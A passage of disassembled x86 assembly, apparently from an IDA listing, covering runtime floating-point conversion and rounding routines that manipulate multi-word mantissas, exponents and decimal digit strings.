[ebp+var_4], eax loc_428C2B: ; CODE XREF: sub_428BF0+31j mov ecx, [ebp+arg_0] and ecx, 0FFFFh and ecx, 8 test ecx, ecx jz short loc_428C44 mov edx, [ebp+var_4] or edx, 4 mov [ebp+var_4], edx loc_428C44: ; CODE XREF: sub_428BF0+49j mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 10h test eax, eax jz short loc_428C5C mov ecx, [ebp+var_4] or ecx, 2 mov [ebp+var_4], ecx loc_428C5C: ; CODE XREF: sub_428BF0+61j mov edx, [ebp+arg_0] and edx, 0FFFFh and edx, 20h test edx, edx jz short loc_428C74 mov eax, [ebp+var_4] or al, 1 mov [ebp+var_4], eax loc_428C74: ; CODE XREF: sub_428BF0+7Aj mov ecx, [ebp+arg_0] and ecx, 0FFFFh and ecx, 2 test ecx, ecx jz short loc_428C90 mov edx, [ebp+var_4] or edx, 80000h mov [ebp+var_4], edx loc_428C90: ; CODE XREF: sub_428BF0+92j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_428BF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428CA0 proc near ; CODE XREF: sub_428DE0+70p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] cdq and edx, 1Fh add eax, edx sar eax, 5 mov [ebp+var_C], eax mov eax, [ebp+arg_4] and eax, 8000001Fh jns short loc_428CC4 dec eax or eax, 0FFFFFFE0h inc eax loc_428CC4: ; CODE XREF: sub_428CA0+1Dj mov ecx, 1Fh sub ecx, eax mov [ebp+var_4], ecx or edx, 0FFFFFFFFh mov ecx, [ebp+var_4] shl edx, cl not edx mov [ebp+var_8], edx mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov edx, [ecx+eax*4] and edx, [ebp+var_8] test edx, edx jz short loc_428CEF xor eax, eax jmp short loc_428D20 ; --------------------------------------------------------------------------- loc_428CEF: ; CODE XREF: sub_428CA0+49j mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_428D03 ; --------------------------------------------------------------------------- loc_428CFA: ; CODE XREF: sub_428CA0:loc_428D19j mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx loc_428D03: ; CODE XREF: sub_428CA0+58j cmp [ebp+var_C], 3 jge short loc_428D1B mov edx, [ebp+var_C] mov eax, [ebp+arg_0] cmp dword ptr [eax+edx*4], 0 jz short loc_428D19 xor eax, eax jmp short loc_428D20 ; --------------------------------------------------------------------------- loc_428D19: ; CODE XREF: sub_428CA0+73j jmp short loc_428CFA ; --------------------------------------------------------------------------- loc_428D1B: ; CODE XREF: sub_428CA0+67j mov eax, 1 loc_428D20: ; CODE XREF: sub_428CA0+4Dj ; sub_428CA0+77j mov esp, ebp pop ebp retn sub_428CA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428D30 proc near ; CODE XREF: sub_428DE0+84p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] cdq and edx, 1Fh add eax, edx sar eax, 5 mov [ebp+var_C], eax mov eax, [ebp+arg_4] and eax, 8000001Fh jns short loc_428D54 dec eax or eax, 0FFFFFFE0h inc eax loc_428D54: ; CODE XREF: sub_428D30+1Dj mov ecx, 1Fh sub ecx, eax mov [ebp+var_4], ecx mov edx, 1 mov ecx, [ebp+var_4] shl edx, cl mov [ebp+var_8], edx mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] lea edx, [ecx+eax*4] push edx mov eax, [ebp+var_8] push eax mov ecx, [ebp+var_C] mov edx, [ebp+arg_0] mov eax, [edx+ecx*4] push eax call sub_42C840 add esp, 0Ch mov [ebp+var_10], eax mov ecx, [ebp+var_C] sub ecx, 1 mov [ebp+var_C], ecx jmp short loc_428DA2 ; --------------------------------------------------------------------------- loc_428D99: ; CODE XREF: sub_428D30+9Fj mov edx, [ebp+var_C] sub edx, 1 mov [ebp+var_C], edx loc_428DA2: ; CODE XREF: sub_428D30+67j cmp [ebp+var_C], 0 jl short loc_428DD1 cmp [ebp+var_10], 0 jz short loc_428DD1 mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] lea edx, [ecx+eax*4] push edx push 1 mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov edx, [ecx+eax*4] push edx call sub_42C840 add esp, 0Ch mov [ebp+var_10], eax jmp short loc_428D99 ; --------------------------------------------------------------------------- loc_428DD1: ; CODE XREF: sub_428D30+76j ; sub_428D30+7Cj mov eax, [ebp+var_10] mov esp, ebp pop ebp retn sub_428D30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428DE0 proc near ; CODE XREF: sub_429070+ABp ; sub_429070+132p ... var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1Ch mov [ebp+var_18], 0 mov eax, [ebp+arg_4] sub eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_C], ecx mov eax, [ebp+var_C] cdq and edx, 1Fh add eax, edx sar eax, 5 mov [ebp+var_14], eax mov edx, [ebp+var_C] and edx, 8000001Fh jns short loc_428E1E dec edx or edx, 0FFFFFFE0h inc edx loc_428E1E: ; CODE XREF: sub_428DE0+37j mov eax, 1Fh sub eax, edx mov [ebp+var_8], eax mov edx, 1 mov ecx, [ebp+var_8] shl edx, cl mov [ebp+var_1C], edx mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] mov edx, [ecx+eax*4] and edx, [ebp+var_1C] test edx, edx jz short loc_428E6F mov eax, [ebp+var_C] add eax, 1 push eax mov ecx, [ebp+arg_0] push ecx call sub_428CA0 add esp, 8 test eax, eax jnz short loc_428E6F mov edx, [ebp+var_4] push edx mov eax, [ebp+arg_0] push eax call sub_428D30 add esp, 8 mov [ebp+var_18], eax loc_428E6F: ; CODE XREF: sub_428DE0+63j ; sub_428DE0+7Aj or edx, 0FFFFFFFFh mov ecx, [ebp+var_8] shl edx, cl mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] mov eax, [ecx+eax*4] and eax, edx mov ecx, [ebp+var_14] mov edx, [ebp+arg_0] mov [edx+ecx*4], eax mov eax, [ebp+var_14] add eax, 1 mov [ebp+var_10], eax jmp short loc_428E9F ; --------------------------------------------------------------------------- loc_428E96: ; CODE XREF: sub_428DE0+D2j mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx loc_428E9F: ; CODE XREF: sub_428DE0+B4j cmp [ebp+var_10], 3 jge short loc_428EB4 mov edx, [ebp+var_10] mov eax, [ebp+arg_0] mov dword ptr [eax+edx*4], 0 jmp short loc_428E96 ; --------------------------------------------------------------------------- loc_428EB4: ; CODE XREF: sub_428DE0+C3j mov eax, [ebp+var_18] mov esp, ebp pop ebp retn sub_428DE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428EC0 proc near ; CODE XREF: sub_429070+98p ; sub_429070+10Fp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] mov [ebp+var_4], eax mov ecx, [ebp+arg_0] mov [ebp+var_8], ecx mov [ebp+var_C], 0 jmp short loc_428EE4 ; --------------------------------------------------------------------------- loc_428EDB: ; CODE XREF: sub_428EC0+46j mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_C], edx loc_428EE4: ; CODE XREF: sub_428EC0+19j cmp [ebp+var_C], 3 jge short loc_428F08 mov eax, [ebp+var_8] mov ecx, [ebp+var_4] mov edx, [ecx] mov [eax], edx mov eax, [ebp+var_8] add eax, 4 mov [ebp+var_8], eax mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx jmp short loc_428EDB ; --------------------------------------------------------------------------- loc_428F08: ; CODE XREF: sub_428EC0+28j mov esp, ebp pop ebp retn sub_428EC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428F10 proc near ; CODE XREF: sub_429070+7Cp ; sub_429070+D5p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 jmp short loc_428F26 ; --------------------------------------------------------------------------- loc_428F1D: ; CODE XREF: sub_428F10+29j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_428F26: ; CODE XREF: sub_428F10+Bj cmp [ebp+var_4], 3 jge short loc_428F3B mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov dword ptr [edx+ecx*4], 0 jmp short loc_428F1D ; --------------------------------------------------------------------------- loc_428F3B: ; CODE XREF: sub_428F10+1Aj mov esp, ebp pop ebp retn sub_428F10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428F40 proc near ; CODE XREF: sub_429070+63p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 jmp short loc_428F56 ; --------------------------------------------------------------------------- loc_428F4D: ; CODE XREF: sub_428F40:loc_428F6Cj mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_428F56: ; CODE XREF: sub_428F40+Bj cmp [ebp+var_4], 3 jge short loc_428F6E mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] cmp dword ptr [edx+ecx*4], 0 jz short loc_428F6C xor eax, eax jmp short loc_428F73 ; --------------------------------------------------------------------------- loc_428F6C: ; CODE XREF: sub_428F40+26j jmp short loc_428F4D ; --------------------------------------------------------------------------- loc_428F6E: ; CODE XREF: sub_428F40+1Aj mov eax, 1 loc_428F73: ; CODE XREF: sub_428F40+2Aj mov esp, ebp pop ebp retn sub_428F40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428F80 proc near ; CODE XREF: sub_429070+11Fp ; sub_429070+148p ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h push esi mov eax, [ebp+arg_4] cdq and edx, 1Fh add eax, edx sar eax, 5 mov [ebp+var_18], eax mov eax, [ebp+arg_4] and eax, 8000001Fh jns short loc_428FA5 dec eax or eax, 0FFFFFFE0h inc eax loc_428FA5: ; CODE XREF: sub_428F80+1Ej mov [ebp+var_4], eax or edx, 0FFFFFFFFh mov ecx, [ebp+var_4] shl edx, cl not edx mov [ebp+var_14], edx mov [ebp+var_8], 0 mov [ebp+var_C], 0 jmp short loc_428FCE ; --------------------------------------------------------------------------- loc_428FC5: ; CODE XREF: sub_428F80+9Fj mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax loc_428FCE: ; CODE XREF: sub_428F80+43j cmp [ebp+var_C], 3 jge short loc_429021 mov ecx, [ebp+var_C] mov edx, [ebp+arg_0] mov eax, [edx+ecx*4] and eax, [ebp+var_14] mov [ebp+var_10], eax mov ecx, [ebp+var_C] mov edx, [ebp+arg_0] mov eax, [edx+ecx*4] mov ecx, [ebp+var_4] shr eax, cl mov ecx, [ebp+var_C] mov edx, [ebp+arg_0] mov [edx+ecx*4], eax mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov edx, [ecx+eax*4] or edx, [ebp+var_8] mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov [ecx+eax*4], edx mov ecx, 20h sub ecx, [ebp+var_4] mov edx, [ebp+var_10] shl edx, cl mov [ebp+var_8], edx jmp short loc_428FC5 ; --------------------------------------------------------------------------- loc_429021: ; CODE XREF: sub_428F80+52j mov [ebp+var_C], 2 jmp short loc_429033 ; --------------------------------------------------------------------------- loc_42902A: ; CODE XREF: sub_428F80:loc_429065j mov eax, [ebp+var_C] sub eax, 1 mov [ebp+var_C], eax loc_429033: ; CODE XREF: sub_428F80+A8j cmp [ebp+var_C], 0 jl short loc_429067 mov ecx, [ebp+var_C] cmp ecx, [ebp+var_18] jl short loc_429058 mov edx, [ebp+var_C] sub edx, [ebp+var_18] mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov esi, [ebp+arg_0] mov edx, [esi+edx*4] mov [ecx+eax*4], edx jmp short loc_429065 ; --------------------------------------------------------------------------- loc_429058: ; CODE XREF: sub_428F80+BFj mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov dword ptr [ecx+eax*4], 0 loc_429065: ; CODE XREF: sub_428F80+D6j jmp short loc_42902A ; --------------------------------------------------------------------------- loc_429067: ; CODE XREF: sub_428F80+B7j pop esi mov esp, ebp pop ebp retn sub_428F80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429070 proc near ; CODE XREF: sub_4292C0+10p ; sub_4292E0+10p var_34 = dword ptr -34h var_30 = byte ptr -30h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 34h mov eax, [ebp+arg_0] xor ecx, ecx mov cx, [eax+0Ah] and ecx, 7FFFh sub ecx, 3FFFh mov [ebp+var_4], ecx mov edx, [ebp+arg_0] xor eax, eax mov ax, [edx+0Ah] and eax, 8000h mov [ebp+var_20], eax mov ecx, [ebp+arg_0] mov edx, [ecx+6] mov [ebp+var_18], edx mov eax, [ebp+arg_0] mov ecx, [eax+2] mov [ebp+var_14], ecx mov edx, [ebp+arg_0] xor eax, eax mov ax, [edx] shl eax, 10h mov [ebp+var_10], eax cmp [ebp+var_4], 0FFFFC001h jnz short loc_429100 mov [ebp+var_8], 0 lea ecx, [ebp+var_18] push ecx call sub_428F40 add esp, 4 test eax, eax jz short loc_4290E8 mov [ebp+var_1C], 0 jmp short loc_4290FB ; --------------------------------------------------------------------------- loc_4290E8: ; CODE XREF: sub_429070+6Dj lea edx, [ebp+var_18] push edx call sub_428F10 add esp, 4 mov [ebp+var_1C], 2 loc_4290FB: ; CODE XREF: sub_429070+76j jmp loc_42924C ; --------------------------------------------------------------------------- loc_429100: ; CODE XREF: sub_429070+56j lea eax, [ebp+var_18] push eax lea ecx, [ebp+var_30] push ecx call sub_428EC0 add esp, 8 mov edx, [ebp+arg_8] mov eax, [edx+8] push eax lea ecx, [ebp+var_18] push ecx call sub_428DE0 add esp, 8 test eax, eax jz short loc_429130 mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_429130: ; CODE XREF: sub_429070+B5j mov eax, [ebp+arg_8] mov ecx, [ebp+arg_8] mov edx, [eax+4] sub edx, [ecx+8] cmp [ebp+var_4], edx jge short loc_429160 lea eax, [ebp+var_18] push eax call sub_428F10 add esp, 4 mov [ebp+var_8], 0 mov [ebp+var_1C], 2 jmp loc_42924C ; --------------------------------------------------------------------------- loc_429160: ; CODE XREF: sub_429070+CFj mov ecx, [ebp+arg_8] mov edx, [ebp+var_4] cmp edx, [ecx+4] jg short loc_4291D0 mov eax, [ebp+arg_8] mov ecx, [eax+4] sub ecx, [ebp+var_4] mov [ebp+var_34], ecx lea edx, [ebp+var_30] push edx lea eax, [ebp+var_18] push eax call sub_428EC0 add esp, 8 mov ecx, [ebp+var_34] push ecx lea edx, [ebp+var_18] push edx call sub_428F80 add esp, 8 mov eax, [ebp+arg_8] mov ecx, [eax+8] push ecx lea edx, [ebp+var_18] push edx call sub_428DE0 add esp, 8 mov eax, [ebp+arg_8] mov ecx, [eax+0Ch] add ecx, 1 push ecx lea edx, [ebp+var_18] push edx call sub_428F80 add esp, 8 mov [ebp+var_8], 0 mov [ebp+var_1C], 2 jmp short loc_42924C ; --------------------------------------------------------------------------- loc_4291D0: ; CODE XREF: sub_429070+F9j mov eax, [ebp+arg_8] mov ecx, [ebp+var_4] cmp ecx, [eax] jl short loc_42921B lea edx, [ebp+var_18] push edx call sub_428F10 add esp, 4 mov eax, [ebp+var_18] or eax, 80000000h mov [ebp+var_18], eax mov ecx, [ebp+arg_8] mov edx, [ecx+0Ch] push edx lea eax, [ebp+var_18] push eax call sub_428F80 add esp, 8 mov ecx, [ebp+arg_8] mov edx, [ecx] mov eax, [ebp+arg_8] add edx, [eax+14h] mov [ebp+var_8], edx mov [ebp+var_1C], 1 jmp short loc_42924C ; --------------------------------------------------------------------------- loc_42921B: ; CODE XREF: sub_429070+168j mov ecx, [ebp+arg_8] mov edx, [ebp+var_4] add edx, [ecx+14h] mov [ebp+var_8], edx mov eax, [ebp+var_18] and eax, 7FFFFFFFh mov [ebp+var_18], eax mov ecx, [ebp+arg_8] mov edx, [ecx+0Ch] push edx lea eax, [ebp+var_18] push eax call sub_428F80 add esp, 8 mov [ebp+var_1C], 0 loc_42924C: ; CODE XREF: sub_429070:loc_4290FBj ; sub_429070+EBj ... mov ecx, [ebp+arg_8] mov edx, [ecx+0Ch] add edx, 1 mov eax, 20h sub eax, edx mov [ebp+var_C], eax mov edx, [ebp+var_8] mov ecx, [ebp+var_C] shl edx, cl mov eax, [ebp+var_18] or eax, edx mov ecx, [ebp+var_20] neg ecx sbb ecx, ecx and ecx, 80000000h or eax, ecx mov [ebp+var_24], eax mov edx, [ebp+arg_8] cmp dword ptr [edx+10h], 40h jnz short loc_42929A mov eax, [ebp+arg_4] mov ecx, [ebp+var_24] mov [eax+4], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_14] mov [edx], eax jmp short loc_4292AB ; --------------------------------------------------------------------------- loc_42929A: ; CODE XREF: sub_429070+215j mov ecx, [ebp+arg_8] cmp dword ptr [ecx+10h], 20h jnz short loc_4292AB mov edx, [ebp+arg_4] mov eax, [ebp+var_24] mov [edx], eax loc_4292AB: ; CODE XREF: sub_429070+228j ; sub_429070+231j mov eax, [ebp+var_1C] mov esp, ebp pop ebp retn sub_429070 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4292C0 proc near ; CODE XREF: sub_4293C0+2Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push offset dword_443720 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_429070 add esp, 0Ch pop ebp retn sub_4292C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4292E0 proc near ; CODE XREF: sub_429440+2Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push offset dword_443738 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_429070 add esp, 0Ch pop ebp retn sub_4292E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429300 proc near ; CODE XREF: .text:0042942Ap ; .text:0042D69Fp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h mov [ebp+var_14], 0 mov eax, [ebp+arg_0] xor ecx, ecx mov cx, [eax+0Ah] and ecx, 7FFFh mov word ptr [ebp+var_4], cx mov edx, [ebp+arg_0] xor eax, eax mov ax, [edx+0Ah] and eax, 8000h mov word ptr [ebp+var_18], ax mov ecx, [ebp+arg_0] mov edx, [ecx+6] mov [ebp+var_10], edx mov eax, [ebp+arg_0] mov ecx, [eax+2] mov [ebp+var_C], ecx mov edx, [ebp+arg_0] xor eax, eax mov ax, [edx] shl eax, 10h mov [ebp+var_8], eax push 40h lea ecx, [ebp+var_10] push ecx call sub_428DE0 add esp, 8 test eax, eax jz short loc_429377 mov [ebp+var_10], 80000000h mov dx, word ptr [ebp+var_4] add dx, 1 mov word ptr [ebp+var_4], dx loc_429377: ; CODE XREF: sub_429300+62j mov eax, [ebp+var_4] and eax, 0FFFFh cmp eax, 7FFFh jnz short loc_42938D mov [ebp+var_14], 1 loc_42938D: ; CODE XREF: sub_429300+84j mov ecx, [ebp+arg_4] mov edx, [ebp+var_10] mov [ecx+4], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_C] mov [eax], ecx mov edx, [ebp+var_18] and edx, 0FFFFh mov eax, [ebp+var_4] and eax, 0FFFFh or edx, eax mov ecx, [ebp+arg_4] mov [ecx+8], dx mov eax, [ebp+var_14] mov esp, ebp pop ebp retn sub_429300 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4293C0 proc near ; CODE XREF: sub_422910+14p var_10 = byte ptr -10h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push 0 push 0 push 0 push 0 mov eax, [ebp+arg_4] push eax lea ecx, [ebp+var_10] push ecx lea edx, [ebp+var_C] push edx call sub_42CB40 add esp, 1Ch mov eax, [ebp+arg_0] push eax lea ecx, [ebp+var_C] push ecx call sub_4292C0 add esp, 8 mov esp, ebp pop ebp retn sub_4293C0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 10h push 0 push 0 push 0 push 1 mov eax, [ebp+0Ch] push eax lea ecx, [ebp-10h] push ecx lea edx, [ebp-0Ch] push edx call sub_42CB40 add esp, 1Ch mov eax, [ebp+8] push eax lea ecx, [ebp-0Ch] push ecx call sub_429300 add esp, 8 mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429440 proc near ; CODE XREF: sub_422910+34p var_10 = byte ptr -10h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push 0 push 0 push 0 push 0 mov eax, [ebp+arg_4] push eax lea ecx, [ebp+var_10] push ecx lea edx, [ebp+var_C] push edx call sub_42CB40 add esp, 1Ch mov eax, [ebp+arg_0] push eax lea ecx, [ebp+var_C] push ecx call sub_4292E0 add esp, 8 mov esp, ebp pop ebp retn sub_429440 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429480 proc near ; CODE XREF: sub_422960+4Dp ; sub_422B50+45p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov ecx, [ebp+arg_8] mov edx, [ecx+0Ch] mov [ebp+var_8], edx mov eax, [ebp+var_4] mov byte ptr [eax], 30h mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_4294A4: ; CODE XREF: sub_429480+69j cmp [ebp+arg_4], 0 jle short loc_4294EB mov edx, [ebp+var_8] movsx eax, byte ptr [edx] test eax, eax jz short loc_4294C8 mov ecx, [ebp+var_8] movsx edx, byte ptr [ecx] mov [ebp+var_C], edx mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax jmp short loc_4294CF ; --------------------------------------------------------------------------- loc_4294C8: ; CODE XREF: sub_429480+32j mov [ebp+var_C], 30h loc_4294CF: ; CODE XREF: sub_429480+46j mov ecx, [ebp+var_4] mov dl, byte ptr [ebp+var_C] mov [ecx], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+arg_4] sub ecx, 1 mov [ebp+arg_4], ecx jmp short loc_4294A4 ; --------------------------------------------------------------------------- loc_4294EB: ; CODE XREF: sub_429480+28j mov edx, [ebp+var_4] mov byte ptr [edx], 0 cmp [ebp+arg_4], 0 jl short loc_429534 mov eax, [ebp+var_8] movsx ecx, byte ptr [eax] cmp ecx, 35h jl short loc_429534 mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx loc_42950B: ; CODE XREF: sub_429480+A5j mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 39h jnz short loc_429527 mov edx, [ebp+var_4] mov byte ptr [edx], 30h mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax jmp short loc_42950B ; --------------------------------------------------------------------------- loc_429527: ; CODE XREF: sub_429480+94j mov ecx, [ebp+var_4] mov dl, [ecx] add dl, 1 mov eax, [ebp+var_4] mov [eax], dl loc_429534: ; CODE XREF: sub_429480+75j ; sub_429480+80j mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] cmp edx, 31h jnz short loc_429550 mov eax, [ebp+arg_8] mov ecx, [eax+4] add ecx, 1 mov edx, [ebp+arg_8] mov [edx+4], ecx jmp short loc_429576 ; --------------------------------------------------------------------------- loc_429550: ; CODE XREF: sub_429480+BDj mov eax, [ebp+arg_0] add eax, 1 push eax call sub_418E70 add esp, 4 add eax, 1 push eax mov ecx, [ebp+arg_0] add ecx, 1 push ecx mov edx, [ebp+arg_0] push edx call sub_426C00 add esp, 0Ch loc_429576: ; CODE XREF: sub_429480+CEj mov esp, ebp pop ebp retn sub_429480 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429580 proc near ; CODE XREF: sub_422960+1Ep ; sub_422B50+1Ep ... var_28 = word ptr -28h var_26 = byte ptr -26h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = word ptr -4 arg_0 = byte ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 28h lea eax, [ebp+arg_0] push eax lea ecx, [ebp+var_C] push ecx call sub_429600 add esp, 8 lea edx, [ebp+var_28] push edx push 0 push 11h sub esp, 0Ch mov eax, esp mov ecx, [ebp+var_C] mov [eax], ecx mov edx, [ebp+var_8] mov [eax+4], edx mov cx, [ebp+var_4] mov [eax+8], cx call sub_42D6C0 add esp, 18h mov edx, [ebp+arg_8] mov [edx+8], eax movsx eax, [ebp+var_26] mov ecx, [ebp+arg_8] mov [ecx], eax movsx edx, [ebp+var_28] mov eax, [ebp+arg_8] mov [eax+4], edx lea ecx, [ebp+var_24] push ecx mov edx, [ebp+arg_C] push edx call sub_419FA0 add esp, 8 mov eax, [ebp+arg_8] mov ecx, [ebp+arg_C] mov [eax+0Ch], ecx mov eax, [ebp+arg_8] mov esp, ebp pop ebp retn sub_429580 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429600 proc near ; CODE XREF: sub_429580+Ep var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1Ch mov [ebp+var_C], 80000000h mov word ptr [ebp+var_4], 0 mov eax, [ebp+arg_4] xor ecx, ecx mov cx, [eax+6] and ecx, 7FF0h sar ecx, 4 mov word ptr [ebp+var_14], cx mov edx, [ebp+arg_4] xor eax, eax mov ax, [edx+6] and eax, 8000h mov word ptr [ebp+var_18], ax mov ecx, [ebp+arg_4] mov edx, [ecx+4] and edx, 0FFFFFh mov [ebp+var_8], edx mov eax, [ebp+arg_4] mov ecx, [eax] mov [ebp+var_10], ecx mov edx, [ebp+var_14] and edx, 0FFFFh mov [ebp+var_1C], edx cmp [ebp+var_1C], 0 jz short loc_429677 cmp [ebp+var_1C], 7FFh jz short loc_42966F jmp short loc_4296BA ; --------------------------------------------------------------------------- loc_42966F: ; CODE XREF: sub_429600+6Bj mov word ptr [ebp+var_4], 7FFFh jmp short loc_4296D5 ; --------------------------------------------------------------------------- loc_429677: ; CODE XREF: sub_429600+62j cmp [ebp+var_8], 0 jnz short loc_4296A4 cmp [ebp+var_10], 0 jnz short loc_4296A4 mov eax, [ebp+arg_0] mov dword ptr [eax+4], 0 mov ecx, [ebp+arg_0] mov dword ptr [ecx], 0 mov edx, [ebp+arg_0] mov word ptr [edx+8], 0 jmp loc_42975E ; --------------------------------------------------------------------------- loc_4296A4: ; CODE XREF: sub_429600+7Bj ; sub_429600+81j movsx eax, word ptr [ebp+var_14] add eax, 3C01h mov word ptr [ebp+var_4], ax mov [ebp+var_C], 0 jmp short loc_4296D5 ; --------------------------------------------------------------------------- loc_4296BA: ; CODE XREF: sub_429600+6Dj mov cx, word ptr [ebp+var_14] sub cx, 3FFh mov word ptr [ebp+var_14], cx movsx edx, word ptr [ebp+var_14] add edx, 3FFFh mov word ptr [ebp+var_4], dx loc_4296D5: ; CODE XREF: sub_429600+75j ; sub_429600+B8j mov eax, [ebp+var_8] shl eax, 0Bh mov ecx, [ebp+var_C] or ecx, eax mov edx, [ebp+var_10] shr edx, 15h or 